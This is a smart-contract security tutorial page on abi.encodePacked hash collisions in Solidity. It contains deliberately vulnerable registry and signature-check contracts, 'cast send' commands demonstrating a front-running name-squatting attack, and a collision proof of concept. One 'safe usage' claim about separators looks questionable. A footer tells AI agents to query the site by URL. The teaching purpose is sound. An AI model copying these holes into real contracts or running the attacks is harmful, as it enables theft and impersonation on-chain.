# Hash Collisions (abi.encodePacked)

## Theory

In Solidity, `abi.encodePacked()` concatenates arguments without padding or type information, creating a compact byte representation. Unlike `abi.encode()`, which adds 32-byte padding and type metadata, `abi.encodePacked()` produces ambiguous encodings when combining multiple dynamic-length types.

#### The Collision Mechanism

When multiple dynamic-length arguments (strings, bytes, dynamic arrays) are packed together, their boundaries become indistinguishable. This allows different input combinations to produce identical hash outputs.

**Example collision scenario:**

solidity

```solidity
abi.encodePacked("aa", "ab")  // Results in: 0x61616162
abi.encodePacked("aa", "a", "b")  // Results in: 0x61616162
abi.encodePacked("a", "aab")  // Results in: 0x61616162
```

All three combinations produce the same bytes, and consequently the same `keccak256` hash. This occurs because `abi.encodePacked()` simply concatenates the UTF-8 representations without length delimiters.

#### Storage Impact

Solidity mappings using `keccak256(abi.encodePacked(...))` as keys are particularly vulnerable. When collision-prone encodings serve as unique identifiers, attackers can:

* Access unauthorized data by crafting colliding keys
* Overwrite existing entries with malicious values
* Bypass authentication mechanisms relying on hash-based lookups
* Manipulate signature verification systems

#### Why abi.encode() Prevents Collisions

`abi.encode()` adds explicit length information and 32-byte padding for each argument, making collisions computationally infeasible:

solidity

```solidity
abi.encode("aa", "ab")
// 0x0000...0020 (offset to first string)
//   0000...0040 (offset to second string)
//   0000...0002 (length of "aa")
//   6161...0000 (padded "aa")
//   0000...0002 (length of "ab")
//   6162...0000 (padded "ab")

abi.encode("aaa", "b")  // Produces completely different encoding
```

## Practice

When auditing smart contracts, identify any use of `abi.encodePacked()` combined with `keccak256()` for generating mapping keys, signatures, or unique identifiers. Focus on functions where users can control multiple dynamic-length arguments.

#### High-Risk Patterns

**Critical vulnerabilities occur when:**

* Multiple `string` or `bytes` parameters are passed to `abi.encodePacked()`
* Dynamic arrays of variable-length types are concatenated
* User-controlled inputs are hashed without fixed-length separators
* Signature schemes rely on `encodePacked` for message construction
* Access control or authentication uses collision-prone hash keys

**Safe usage scenarios:**

* Single dynamic-length argument: `abi.encodePacked(string)`
* Only fixed-size types: `abi.encodePacked(uint256, address, bytes32)`
* Mixed with proper separators: `abi.encodePacked(string1, uint256, string2)`

#### Vulnerable Contract Example

{% tabs %}
{% tab title="Exploit" %}
**Exemple - Decentralized registry system**

Consider a decentralized registry system where users can claim domain names by combining a username with a top-level domain. The contract uses a mapping to track ownership, with the key generated by hashing the concatenated strings. This design appears reasonable at first glance since each user should have a unique combination of name and domain.

```solidity
pragma solidity ^0.8.0;

contract VulnerableRegistry {
    mapping(bytes32 => address) public records;
    
    // Vulnerable: Two dynamic-length strings
    function register(string memory name, string memory domain) public {
        bytes32 key = keccak256(abi.encodePacked(name, domain));
        require(records[key] == address(0), "Already registered");
        records[key] = msg.sender;
    }
    
    function getOwner(string memory name, string memory domain) public view returns (address) {
        bytes32 key = keccak256(abi.encodePacked(name, domain));
        return records[key];
    }
}
```

The vulnerability lies in the boundary ambiguity between the two string parameters. When Alice attempts to register `("alice", "example.com")`, the contract concatenates these into `"aliceexample.com"` before hashing.\
However, an attacker monitoring the mempool can front-run her transaction by registering `("aliceexample", ".com")` instead, which produces the identical concatenated string and therefore the same hash.

**Scenario:** Alice registers `("alice", "example.com")`

```bash
# Alice's legitimate registration
cast send $CONTRACT_ADDRESS \
  'register(string,string)' \
  "alice" \
  "example.com" \
  --rpc-url $RPC_URL \
  --private-key $ALICE_PK
```

**Attack:** Bob finds a collision and registers first

```bash
# Bob registers with colliding inputs BEFORE Alice
## Both calls produce the same hash:
## keccak256("aliceexample.com") == keccak256("aliceexample.com")
cast send $CONTRACT_ADDRESS \
  'register(string,string)' \
  "aliceexample" \
  ".com" \
  --rpc-url $RPC_URL \
  --private-key $BOB_PK
```

When Alice attempts registration, it fails because Bob already owns that hash key. Bob effectively squatted on Alice's intended registration through collision.

Below is a small proof of concept to find collisions:

```solidity
pragma solidity ^0.8.0;

contract CollisionDemo {
    function demonstrateCollision() public pure returns (bool) {
        bytes32 hash1 = keccak256(abi.encodePacked("aa", "bb"));
        bytes32 hash2 = keccak256(abi.encodePacked("a", "abb"));
        bytes32 hash3 = keccak256(abi.encodePacked("aab", "b"));
        
        return (hash1 == hash2) && (hash2 == hash3);  // Returns true
    }
    
    function showEncodings() public pure returns (bytes memory, bytes memory) {
        return (
            abi.encodePacked("aa", "bb"),    // 0x61616262
            abi.encodePacked("a", "abb")     // 0x61616262
        );
    }
}
```

**Exemple 2 - Signature Collision Attack**

Hash collisions in signature verification can enable privilege escalation:

```solidity
pragma solidity ^0.8.0;

contract VulnerableAuth {
    address public admin;
    
    constructor() {
        admin = msg.sender;
    }
    
    // Vulnerable signature verification
    function executeAction(
        string memory action,
        string memory target,
        bytes memory signature
    ) public {
        bytes32 messageHash = keccak256(abi.encodePacked(action, target));
        address signer = recoverSigner(messageHash, signature);
        require(signer == admin, "Unauthorized");
        
        // Execute privileged action
    }
    
    function recoverSigner(bytes32 hash, bytes memory sig) internal pure returns (address) {
        // ECDSA recovery logic
        // ...
    }
}
```

An attacker can craft colliding `(action, target)` pairs to reuse a valid signature for unauthorized operations:

* Admin signs: `("transfer", "100")`
* Attacker submits: `("transfe", "r100")` with the same signature
  {% endtab %}

{% tab title="Second Tab" %}

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.nethermind.io/blog/understanding-hash-collisions-abi-encodepacked-in-solidity>" %}

{% embed url="<https://scsfg.io/hackers/abi-hash-collisions/>" %}

{% embed url="<https://scs.owasp.org/SCWE/SCSVS-CRYPTO/SCWE-074/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/smart-contracts-pentesting/vulnerabilities/evm-attack-surfaces/hash-collisions-abi.encodepacked.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
